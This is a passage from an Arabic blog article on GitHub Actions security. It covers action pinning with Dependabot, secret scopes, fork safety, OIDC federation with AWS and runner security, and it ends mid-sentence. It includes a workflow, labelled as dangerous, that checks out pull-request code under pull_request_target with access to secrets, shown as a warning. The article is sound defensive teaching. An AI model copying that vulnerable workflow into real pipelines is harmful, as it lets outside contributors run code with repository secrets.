\u0644\u0644\u062a\u063a\u064a\u064a\u0631. \u0641\u062d\u062a\u0649 \u0644\u0648 \u0627\u062e\u062a\u064f\u0631\u0642 \u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u060c \u064a\u0638\u0644 \u0627\u0644\u0640 SHA \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0627\u0644\u0634\u064a\u0641\u0631\u0629 \u0646\u0641\u0633\u0647\u0627 \u0627\u0644\u062a\u064a \u062f\u0642\u0651\u0642\u062a\u0647\u0627. \u0648\u064a\u0636\u0645\u0646 \u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0627\u0644\u0644\u0627\u062d\u0642 \u0623\u0646 \u064a\u0638\u0644 \u0628\u0645\u0642\u062f\u0648\u0631 \u0627\u0644\u0628\u0634\u0631 \u062a\u0645\u064a\u064a\u0632 \u0627\u0644\u0646\u0633\u062e\u0629 \u0628\u0646\u0638\u0631\u0629 \u0633\u0631\u064a\u0639\u0629\u060c \u0648\u0623\u0646 \u062a\u0638\u0644 \u0623\u062f\u0648\u0627\u062a \u0645\u062b\u0644 Dependabot \u0642\u0627\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0642\u062a\u0631\u0627\u062d \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0623\u062a\u0645\u062a\u0629 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Dependabot<\/h3>\n\n<p class=\"wp-block-paragraph\">\u064a\u062e\u0644\u0642 \u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0639\u0628\u0631 SHA \u0639\u0628\u0626\u064b\u0627 \u0635\u064a\u0627\u0646\u064a\u064b\u0627 \u2014 \u0625\u0630 \u064a\u062a\u0639\u064a\u0646 \u0639\u0644\u064a\u0643 \u062a\u062d\u062f\u064a\u062b \u0646\u0642\u0627\u0637 \u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0639\u0646\u062f \u0625\u0635\u062f\u0627\u0631 \u0646\u0633\u062e \u062c\u062f\u064a\u062f\u0629. \u0648\u0647\u0646\u0627 \u064a\u0623\u062a\u064a \u062f\u0648\u0631 Dependabot. \u0623\u0636\u0650\u0641 \u0625\u0639\u062f\u0627\u062f <code>.github\/dependabot.yml<\/code>:<\/p>\n\n<pre><code>version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0633\u064a\u0641\u062a\u062d Dependabot \u062a\u0644\u0642\u0627\u0626\u064a\u064b\u0627 pull requests \u0644\u062a\u062d\u062f\u064a\u062b \u0625\u062c\u0631\u0627\u0621\u0627\u062a\u0643 \u0627\u0644\u0645\u062b\u0628\u0651\u062a\u0629 \u0639\u0628\u0631 SHA \u0625\u0644\u0649 \u0623\u062d\u062f\u062b \u0646\u0633\u062e\u0629\u060c \u0645\u0639 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0645\u0631\u062c\u0639 \u0627\u0644\u0640 SHA \u063a\u064a\u0631 \u0627\u0644\u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u063a\u064a\u064a\u0631. \u064a\u0645\u0646\u062d\u0643 \u0630\u0644\u0643 \u0623\u0645\u0627\u0646 \u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0645\u0639 \u0631\u0627\u062d\u0629 \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0645\u0624\u062a\u0645\u062a\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u062c\u0648\u0644\u0629 \u0639\u0645\u0644\u064a\u0629 \u0641\u064a \u062a\u0637\u0628\u064a\u0642 \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a\u060c \u0648\u062a\u0642\u0648\u064a\u0629 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a\u060c \u0648\u0623\u0641\u0636\u0644 \u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0641\u064a workflow \u062d\u0642\u064a\u0642\u064a\u060c \u0623\u0643\u0645\u0650\u0644 <a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: \u062a\u0642\u0648\u064a\u0629 workflows \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions \u2014 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0648\u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0648\u0627\u0644\u0623\u0633\u0631\u0627\u0631<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0623\u0633\u0631\u0627\u0631<\/h2>\n\n<p class=\"wp-block-paragraph\">\u062a\u0648\u062c\u062f \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0641\u064a GitHub Actions \u0636\u0645\u0646 \u062b\u0644\u0627\u062b\u0629 \u0646\u0637\u0627\u0642\u0627\u062a: <strong>\u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 (repository)<\/strong>\u060c \u0648<strong>\u0627\u0644\u0628\u064a\u0626\u0629 (environment)<\/strong>\u060c \u0648<strong>\u0627\u0644\u0645\u0624\u0633\u0633\u0629 (organization)<\/strong>. \u0648\u0641\u0647\u0645 \u0627\u0644\u0641\u0631\u0648\u0642 \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0646\u0637\u0627\u0642 \u0627\u0644\u0635\u062d\u064a\u062d \u0623\u0645\u0631 \u0628\u0627\u0644\u063a \u0627\u0644\u0623\u0647\u0645\u064a\u0629 \u0644\u0644\u0623\u0645\u0627\u0646.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0645\u062a\u0627\u062d\u0629 \u0644\u062c\u0645\u064a\u0639 \u0627\u0644\u0640 workflows \u0641\u064a \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639. \u0648\u064a\u0645\u0643\u0646 \u0644\u0623\u064a workflow \u064a\u064f\u0637\u0644\u064e\u0642 \u0639\u0628\u0631 push \u0623\u0648 pull_request (\u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0646\u0641\u0633\u0647) \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u064a\u0647\u0627. <strong>\u0648\u0647\u064a \u063a\u064a\u0631 \u0645\u062a\u0627\u062d\u0629 \u0644\u0644\u0640 workflows \u0627\u0644\u062a\u064a \u062a\u064f\u0637\u0644\u064e\u0642 \u0639\u0628\u0631 \u0623\u062d\u062f\u0627\u062b <code>pull_request<\/code> \u0645\u0646 \u0627\u0644\u0640 forks.<\/strong><\/p>\n\n<h3 class=\"wp-block-heading\">\u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0628\u064a\u0626\u0629<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0645\u062d\u0635\u0648\u0631\u0629 \u0628\u0628\u064a\u0626\u0629 \u0645\u062d\u062f\u062f\u0629. \u0644\u0627 \u064a\u0645\u0643\u0646 \u0625\u0644\u0627 \u0644\u0644\u0648\u0638\u0627\u0626\u0641 \u0627\u0644\u062a\u064a \u062a\u0634\u064a\u0631 \u0625\u0644\u0649 \u062a\u0644\u0643 \u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0623\u0633\u0631\u0627\u0631\u0647\u0627. \u0648\u0628\u0627\u0644\u0627\u0642\u062a\u0631\u0627\u0646 \u0645\u0639 \u0642\u0648\u0627\u0639\u062f \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0628\u064a\u0626\u0629 (\u0645\u0631\u0627\u062c\u0650\u0639\u0648\u0646 \u0645\u0637\u0644\u0648\u0628\u0648\u0646\u060c \u0648\u0642\u064a\u0648\u062f \u0639\u0644\u0649 \u0627\u0644\u0641\u0631\u0648\u0639)\u060c \u062a\u0648\u0641\u0651\u0631 \u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0628\u064a\u0626\u0629 \u0623\u0642\u0648\u0649 \u062d\u0645\u0627\u064a\u0629 \u0623\u0635\u0644\u064a\u0629 \u0644\u0644\u0623\u0633\u0631\u0627\u0631 \u0641\u064a GitHub Actions.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0645\u0624\u0633\u0633\u0629<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0645\u0634\u062a\u0631\u0643\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a. \u0648\u064a\u0645\u0643\u0646 \u062d\u0635\u0631\u0647\u0627 \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0645\u062d\u062f\u062f\u0629 \u0623\u0648 \u0625\u062a\u0627\u062d\u062a\u0647\u0627 \u0644\u0644\u062c\u0645\u064a\u0639. \u0645\u0641\u064a\u062f\u0629 \u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0645\u0634\u062a\u0631\u0643\u0629 \u0645\u062b\u0644 \u0631\u0645\u0648\u0632 \u0633\u062c\u0644 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a\u060c \u0644\u0643\u0646\u0647\u0627 \u062a\u0648\u0633\u0651\u0639 \u0646\u0637\u0627\u0642 \u0627\u0644\u0636\u0631\u0631 (blast radius) \u0641\u064a \u062d\u0627\u0644 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0633\u0644\u0627\u0645\u0629 \u0627\u0644\u0640 Forks \u0648\u062d\u062f\u062b pull_request_target<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0628\u064a\u0646 \u0627\u0644\u0640 forks \u0648\u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0648\u062d\u062f\u062b <code>pull_request_target<\/code> \u0647\u0648 \u0645\u0646 \u0623\u062e\u0637\u0631 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0641\u064a \u0623\u0645\u0646 GitHub Actions. \u0648\u0625\u0644\u064a\u0643 \u0627\u0644\u0642\u0627\u0639\u062f\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629:<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>\u0644\u0627 \u062a\u0633\u062d\u0628 (checkout) \u0623\u0628\u062f\u064b\u0627 \u0634\u064a\u0641\u0631\u0629 \u0631\u0623\u0633 \u0627\u0644\u0640 PR \u0641\u064a workflow \u0645\u0646 \u0646\u0648\u0639 <code>pull_request_target<\/code> \u0648\u062a\u0634\u063a\u0651\u0644\u0647\u0627 \u0645\u0639 \u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">\u0647\u0630\u0627 \u0627\u0644\u0646\u0645\u0637 \u2014 \u0627\u0644\u0630\u064a \u064a\u064f\u0633\u0645\u0649 \u0623\u062d\u064a\u0627\u0646\u064b\u0627 &#8220;pwn request&#8221; \u2014 \u064a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u062a\u0642\u062f\u064a\u0645 PR \u0645\u0646 fork \u064a\u0639\u062f\u0651\u0644 \u0633\u0643\u0631\u0628\u062a \u0627\u0644\u0628\u0646\u0627\u0621 (build script)\u060c \u0623\u0648 \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a\u060c \u0623\u0648 \u0623\u064a \u0634\u064a\u0641\u0631\u0629 \u0623\u062e\u0631\u0649 \u0642\u064a\u062f \u0627\u0644\u062a\u0646\u0641\u064a\u0630. \u0648\u0644\u0623\u0646 <code>pull_request_target<\/code> \u064a\u0639\u0645\u0644 \u0628\u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0648\u0631\u0645\u0632 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062e\u0627\u0635 \u0628\u0647\u060c \u062a\u064f\u0646\u0641\u064e\u0651\u0630 \u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0639 \u0648\u0635\u0648\u0644 \u0643\u0627\u0645\u0644 \u0625\u0644\u0649 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f\u0643.<\/p>\n\n<pre><code># DANGEROUS - Never do this\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!\n      - run: npm test  # Runs attacker's code with your secrets\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0625\u0646 \u0643\u0627\u0646 \u0644\u0627 \u0628\u062f \u0644\u0643 \u0645\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 <code>pull_request_target<\/code>\u060c \u0641\u0627\u0633\u062d\u0628 \u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0641\u0642\u0637\u060c \u0623\u0648 \u0627\u0633\u062a\u062e\u062f\u0645 \u0646\u0645\u0637 \u0627\u0644\u0640 workflow \u0627\u0644\u0645\u0632\u062f\u0648\u062c\u060c \u062d\u064a\u062b \u064a\u064f\u0646\u062a\u0650\u062c \u0627\u0644\u0640 workflow \u0627\u0644\u0623\u0648\u0644 (\u0627\u0644\u0645\u064f\u0637\u0644\u064e\u0642 \u0639\u0628\u0631 <code>pull_request<\/code>) \u0645\u062e\u0631\u062c\u0627\u062a (artifacts)\u060c \u0648\u064a\u0639\u0627\u0644\u062c \u0627\u0644\u062b\u0627\u0646\u064a (\u0627\u0644\u0645\u064f\u0637\u0644\u064e\u0642 \u0639\u0628\u0631 <code>workflow_run<\/code>) \u062a\u0644\u0643 \u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a \u0628\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0645\u0631\u062a\u0641\u0639\u0629.<\/p>\n\n<h2 class=\"wp-block-heading\">OIDC \u0648\u0627\u062a\u062d\u0627\u062f \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 (Workload Identity Federation)<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0637\u0648\u064a\u0644\u0629 \u0627\u0644\u0639\u0645\u0631 \u0627\u0644\u0645\u062e\u0632\u0651\u0646\u0629 \u0643\u0623\u0633\u0631\u0627\u0631 \u0641\u064a GitHub \u0642\u0646\u0628\u0644\u0629 \u0645\u0648\u0642\u0648\u062a\u0629. \u0641\u0625\u0630\u0627 \u0633\u064f\u0631\u0651\u0628 \u0633\u0631\u064c\u0651 \u0645\u0627 \u2014 \u0639\u0628\u0631 \u0625\u062c\u0631\u0627\u0621 \u0645\u062e\u062a\u0631\u064e\u0642\u060c \u0623\u0648 \u062a\u0633\u0631\u064a\u0628 \u0641\u064a \u0627\u0644\u0633\u062c\u0644\u0627\u062a\u060c \u0623\u0648 PR \u062e\u0628\u064a\u062b \u2014 \u064a\u062d\u0635\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0639\u0644\u0649 \u0648\u0635\u0648\u0644 \u062f\u0627\u0626\u0645 \u062d\u062a\u0649 \u062a\u064f\u062f\u0648\u064e\u0651\u0631 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u064a\u062f\u0648\u064a\u064b\u0627. \u0648\u0627\u0644\u062d\u0644 \u0647\u0648 <strong>\u0627\u062a\u062d\u0627\u062f \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0642\u0627\u0626\u0645 \u0639\u0644\u0649 OIDC<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0643\u064a\u0641 \u064a\u0639\u0645\u0644 OIDC \u0641\u064a GitHub Actions<\/h3>\n\n<p class=\"wp-block-paragraph\">\u062a\u0633\u062a\u0637\u064a\u0639 GitHub Actions \u0625\u0635\u062f\u0627\u0631 \u0631\u0645\u0648\u0632 OIDC \u062a\u0624\u0643\u0651\u062f \u0647\u0648\u064a\u0629 \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0640 workflow. \u0648\u062a\u062d\u062a\u0648\u064a \u0647\u0630\u0647 \u0627\u0644\u0631\u0645\u0648\u0632 \u0639\u0644\u0649 \u0645\u0637\u0627\u0644\u0628\u0627\u062a (claims) \u0628\u0634\u0623\u0646 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639\u060c \u0648\u0627\u0644\u0641\u0631\u0639\u060c \u0648\u0627\u0644\u0628\u064a\u0626\u0629\u060c \u0648\u0627\u0644\u0641\u0627\u0639\u0644 (actor)\u060c \u0648\u0627\u0644\u0640 workflow. \u0648\u064a\u0645\u0643\u0646 \u0636\u0628\u0637 \u0645\u0632\u0648\u0651\u062f\u064a \u0627\u0644\u0633\u062d\u0627\u0628\u0629 (AWS \u0648GCP \u0648Azure) \u0644\u0644\u0648\u062b\u0648\u0642 \u0628\u0647\u0630\u0647 \u0627\u0644\u0631\u0645\u0648\u0632 \u0648\u0627\u0633\u062a\u0628\u062f\u0627\u0644\u0647\u0627 \u0628\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0642\u0635\u064a\u0631\u0629 \u0627\u0644\u0639\u0645\u0631.<\/p>\n\n<p class=\"wp-block-paragraph\">\u064a\u0639\u0645\u0644 \u0627\u0644\u062a\u062f\u0641\u0642 \u0639\u0644\u0649 \u0627\u0644\u0646\u062d\u0648 \u0627\u0644\u062a\u0627\u0644\u064a:<\/p>\n\n<ol class=\"wp-block-list\">\n<li>\u064a\u0637\u0644\u0628 \u0627\u0644\u0640 workflow \u0644\u062f\u064a\u0643 \u0631\u0645\u0632 OIDC \u0645\u0646 \u0646\u0642\u0637\u0629 \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0631\u0645\u0648\u0632 \u0641\u064a GitHub (\u064a\u062a\u0637\u0644\u0628 \u0635\u0644\u0627\u062d\u064a\u0629 <code>id-token: write<\/code>).<\/li>\n<li>\u064a\u064f\u0631\u0633\u064e\u0644 \u0627\u0644\u0631\u0645\u0632 \u0625\u0644\u0649 \u0646\u0642\u0637\u0629 \u0646\u0647\u0627\u064a\u0629 STS\/\u062a\u0628\u0627\u062f\u0644 \u0627\u0644\u0631\u0645\u0648\u0632 \u0644\u062f\u0649 \u0645\u0632\u0648\u0651\u062f \u0627\u0644\u0633\u062d\u0627\u0628\u0629.<\/li>\n<li>\u064a\u062a\u062d\u0642\u0642 \u0645\u0632\u0648\u0651\u062f \u0627\u0644\u0633\u062d\u0627\u0628\u0629 \u0645\u0646 \u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u0631\u0645\u0632 \u0645\u0642\u0627\u0628\u0644 \u0645\u0633\u062a\u0646\u062f \u0627\u0643\u062a\u0634\u0627\u0641 OIDC \u0627\u0644\u062e\u0627\u0635 \u0628\u0640 GitHub.<\/li>\n<li>\u0625\u0630\u0627 \u0637\u0627\u0628\u0642\u062a \u0645\u0637\u0627\u0644\u0628\u0627\u062a \u0627\u0644\u0631\u0645\u0632 \u0633\u064a\u0627\u0633\u0629 \u0627\u0644\u062b\u0642\u0629 \u0644\u062f\u064a\u0643 (\u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0648\u0627\u0644\u0641\u0631\u0639 \u0648\u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u0635\u062d\u064a\u062d\u0629)\u060c \u064a\u064f\u0635\u062f\u0650\u0631 \u0627\u0644\u0645\u0632\u0648\u0651\u062f \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0642\u0635\u064a\u0631\u0629 \u0627\u0644\u0639\u0645\u0631.<\/li>\n<li>\u064a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0640 workflow \u0644\u062f\u064a\u0643 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0645\u0624\u0642\u062a\u0629 \u0647\u0630\u0647 \u2014 \u0627\u0644\u062a\u064a \u062a\u0646\u062a\u0647\u064a \u0635\u0644\u0627\u062d\u064a\u062a\u0647\u0627 \u062a\u0644\u0642\u0627\u0626\u064a\u064b\u0627.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">\u0645\u062b\u0627\u0644: AWS \u0645\u0639 OIDC<\/h3>\n\n<pre><code>permissions:\n  id-token: write\n  contents: read\n\nsteps:\n  - uses: aws-actions\/configure-aws-credentials@v4\n    with:\n      role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n      aws-region: us-east-1\n      # No access keys needed!\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0645\u0639 OIDC\u060c \u0644\u0627 \u062a\u0648\u062c\u062f \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u062b\u0627\u0628\u062a\u0629 \u062a\u064f\u0633\u0631\u064e\u0642. \u0648\u062d\u062a\u0649 \u0644\u0648 \u0633\u0631\u0651\u0628 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0631\u0645\u0632 OIDC\u060c \u0641\u0625\u0646\u0647 \u064a\u0646\u062a\u0647\u064a \u062e\u0644\u0627\u0644 \u062f\u0642\u0627\u0626\u0642 \u0648\u0645\u0631\u062a\u0628\u0637 \u0628\u0645\u0637\u0627\u0644\u0628\u0627\u062a \u0645\u062d\u062f\u062f\u0629 \u062a\u062d\u062f\u0651 \u0645\u0646 \u0623\u0645\u0627\u0643\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0644\u0644\u062a\u0639\u0645\u0642 \u0641\u064a \u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u0643\u0627\u0645\u0646\u0629 \u0648\u0631\u0627\u0621 \u0627\u062a\u062d\u0627\u062f \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644\u060c \u0627\u0642\u0631\u0623 \u062f\u0644\u064a\u0644\u0646\u0627 \u062d\u0648\u0644 <a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/short-lived-credentials-workload-identity-federation-ci-cd\/\">\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0642\u0635\u064a\u0631\u0629 \u0627\u0644\u0639\u0645\u0631 \u0648\u0627\u062a\u062d\u0627\u062f \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0644\u0640 CI\/CD<\/a>. \u0648\u0644\u062a\u0637\u0628\u064a\u0642\u0647 \u0639\u0645\u0644\u064a\u064b\u0627\u060c \u0627\u062a\u0628\u0639 <a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: \u0636\u0628\u0637 \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0639\u0628\u0631 OIDC \u0628\u064a\u0646 GitHub Actions \u0648AWS<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0623\u0645\u0627\u0646 \u0627\u0644\u0640 Runner: \u0627\u0644\u0645\u0633\u062a\u0636\u0627\u0641 \u0645\u0642\u0627\u0628\u0644 \u0630\u0627\u062a\u064a \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u0640 runner \u0647\u0648 \u0627\u0644\u0645\u0643\u0627\u0646 \u0627\u0644\u0630\u064a \u062a\u064f\u0646\u0641\u064e\u0651\u0630 \u0641\u064a\u0647 \u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0640 workflow \u0641\u0639\u0644\u064a\u064b\u0627. \u0648\u062a\u062d\u062f\u0651\u062f \u0627\u0644\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0644\u0644\u0640 runner \u0644\u062f\u064a\u0643 \u0628\u0634\u0643\u0644 \u0645\u0628\u0627\u0634\u0631 \u0646\u0637\u0627\u0642 \u0627\u0644\u0636\u0631\u0631 \u0627\u0644\u0646\u0627\u062a\u062c \u0639\u0646 \u0623\u064a \u0627\u062e\u062a\u0631\u0627\u0642 \u0644\u0644\u0640 workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u0640 Runners \u0627\u0644\u0645\u0633\u062a\u0636\u0627\u0641\u0629 \u0645\u0646 GitHub<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u0640 runners \u0627\u0644\u0645\u0633\u062a\u0636\u0627\u0641\u0629 \u0645\u0646 GitHub \u0647\u064a \u0623\u062c\u0647\u0632\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0632\u0627\u0626\u0644\u0629 (ephemeral) \u062a\u064f\u0647\u064a\u064e\u0651\u0623 \u0645\u0646 \u062c\u062f\u064a\u062f \u0644\u0643\u0644 \u0648\u0638\u064a\u0641\u0629 \u062b\u0645 \u062a\u064f\u062f\u0645\u064e\u0651\u0631 \u0628\u0639\u062f\u0647\u0627. \u0648\u0647\u0630\u0627 \u064a\u0648\u0641\u0651\u0631 \u0639\u0632\u0644\u064b\u0627 \u0642\u0648\u064a\u064b\u0627:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>\u0644\u0627 \u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629 \u0628\u064a\u0646 \u0627\u0644\u0648\u0638\u0627\u0626\u0641 \u2014 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0644\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0623\u0646 \u062a\u0628\u0642\u0649 \u0639\u0628\u0631 \u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0634\u063a\u064a\u0644.<\/li>\n<li>\u0644\u0627 \u062a\u062d\u0631\u0651\u0643 \u062c\u0627\u0646\u0628\u064a (lateral movement) \u0625\u0644\u0649 workflows \u0623\u0648 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0623\u062e\u0631\u0649.<\/li>\n<li>\u0635\u0648\u0631 \u0623\u0633\u0627\u0633 \u0645\u064f\u0642\u0648\u0651\u0627\u0629 (hardened) \u0648\u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u0646\u0628\u0624 \u062a\u0635\u0648\u0646\u0647\u0627 GitHub.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0645\u0639\u0638\u0645 \u0627\u0644\u0640 workflows\u060c \u062a\u0643\u0648\u0646 \u0627\u0644\u0640 runners \u0627\u0644\u0645\u0633\u062a\u0636\u0627\u0641\u0629 \u0645\u0646 GitHub \u0627\u0644\u062e\u064a\u0627\u0631 \u0627\u0644\u0623\u0643\u062b\u0631 \u0623\u0645\u0627\u0646\u064b\u0627. \u0648\u0627\u0644\u0645\u0642\u0627\u064a\u0636\u0629 \u0647\u064a \u0645\u062d\u062f\u0648\u062f\u064a\u0629 \u0627\u0644\u062a\u062e\u0635\u064a\u0635\u060c \u0648\u0627\u062d\u062a\u0645\u0627\u0644 \u0627\u0631\u062a\u0641\u0627\u0639 \u0627\u0644\u062a\u0643\u0627\u0644\u064a\u0641 \u0644\u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0643\u062b\u064a\u0641\u0629 \u0627\u0644\u062d\u0648\u0633\u0628\u0629.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u0640 Runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629: \u0627\u0644\u0645\u062e\u0627\u0637\u0631 \u0648\u0627\u0644\u062a\u062e\u0641\u064a\u0641\u0627\u062a<\/h3>\n\n<p class=\"wp-block-paragraph\">\u062a\u0639\u0645\u0644 